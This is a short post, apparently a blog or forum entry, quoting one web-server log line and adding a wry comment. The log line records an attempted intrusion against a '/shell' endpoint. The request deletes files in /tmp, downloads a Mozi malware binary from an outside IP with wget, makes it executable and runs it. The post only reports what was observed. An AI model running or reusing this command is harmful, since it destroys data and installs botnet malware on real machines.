From the logs…

178.x.x.x – – [23/Feb/2021:20:20:58 +0000] “GET /shell?cd+/tmp;rm+-rf+*;wget+http://178.x.x.x:46149/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1” 404 498 “-” “Hello, world”

I’m guessing this is assuming a prior compromise. The housekeeping in /tmp is a nice touch.